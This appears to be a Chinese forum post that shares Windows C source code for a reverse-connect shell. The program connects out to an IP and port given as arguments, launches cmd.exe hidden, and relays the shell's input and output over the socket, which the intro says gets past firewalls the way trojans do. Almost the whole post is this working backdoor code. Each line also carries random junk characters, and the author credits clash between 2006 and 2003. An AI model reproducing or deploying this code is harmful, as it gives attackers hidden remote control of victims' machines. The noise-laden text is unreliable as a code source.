这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Lrmhr3
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/* ============================== yy+:x/(N[
Rebound port in Windows NT &*745,e
By wind,2006/7 WrS>^\:
===============================*/ q\-P/aN_
#include F]fXS-@ c
#include U9K'O !i>
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#pragma comment(lib,"wsock32.lib") HYL['B?Wid
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void OutputShell(); SSq4KFO1
SOCKET sClient; 4Y1dkg1y
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ZtmaV27s/
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void main(int argc,char **argv) W23Q>x&S
{ Te`@{>
WSADATA stWsaData; [jksOC)@4
int nRet; 9s*QHCB0
SOCKADDR_IN stSaiClient,stSaiServer; Q7-iy
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if(argc != 3) "
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{ G4rzx%W?
printf("Useage:\n\rRebound DestIP DestPort\n"); hiEYIx
return; mkhWbzD'S
} 94^b"hU
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WSAStartup(MAKEWORD(2,2),&stWsaData); CO9PQ`9+
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )iZU\2L
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stSaiClient.sin_family = AF_INET; IRueq @4
stSaiClient.sin_port = htons(0); g5RH:]DV
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); KMK8jJ
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) SUv'cld
{ P]TT8Jgw
printf("Bind Socket Failed!\n"); {9X mFa
return; !Z
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} k DXQpe
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stSaiServer.sin_family = AF_INET; ;9~
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); pwk Te
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ~)n[Vf
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) *X{7m]5
{ IsShAi
printf("Connect Error!"); 8};kNW^2m
return; KVr9kcs
} Gz BPI'C
OutputShell(); l~w^I|M^C
} seRf q&
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void OutputShell() CBF<53TshR
{ lSlZ^.&
char szBuff[1024]; ~( 0bqt3c
SECURITY_ATTRIBUTES stSecurityAttributes; u{h67N
OSVERSIONINFO stOsversionInfo; znSlSQpTv
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 5gII|8>rQ
STARTUPINFO stStartupInfo; m Rm}7p
char *szShell; oK
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PROCESS_INFORMATION stProcessInformation; Dy>6L79G
unsigned long lBytesRead; Jm#p!G+
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); TUz4-Pd
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); {Z7ixc523
stSecurityAttributes.lpSecurityDescriptor = 0; ^y qRa&
stSecurityAttributes.bInheritHandle = TRUE; dJ/gc"7aO
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); MBU|<tc
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ;']u}Nh
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); PTLlLa85<
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; fQ~TZ:UrU
stStartupInfo.wShowWindow = SW_HIDE; TnKv)%VF
stStartupInfo.hStdInput = hReadPipe; ?QzL#iO}h
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; k52IvB@2
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GetVersionEx(&stOsversionInfo); &M@c50&%
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switch(stOsversionInfo.dwPlatformId) ?|/K(}
{ *9uNM@7&0
case 1: ^_g%c&H
szShell = "command.com"; !LM`2|3$
break; :o8|P
default: 4hLk+ z<n
szShell = "cmd.exe"; @/|g|4
break; "]kzt ux
} 4}k@p>5v'
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); hc[J,yG
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send(sClient,szMsg,77,0); :Yn.Wv-
while(1) U._fb=
{ W] DGt|JP
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ygH )U.
if(lBytesRead) Bpm COA
{ 24k]X`/n
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); tgl(*[T2
send(sClient,szBuff,lBytesRead,0); dKCl#~LAI'
} 3)ox8,{%}
else %8|lAMTY7/
{ _z8"r&
lBytesRead=recv(sClient,szBuff,1024,0); VFx[{Hy
if(lBytesRead<=0) break; li
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); /*{'p!?
} |>.MH
} 2>o^@4PnZ
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return; i&^JG/a
}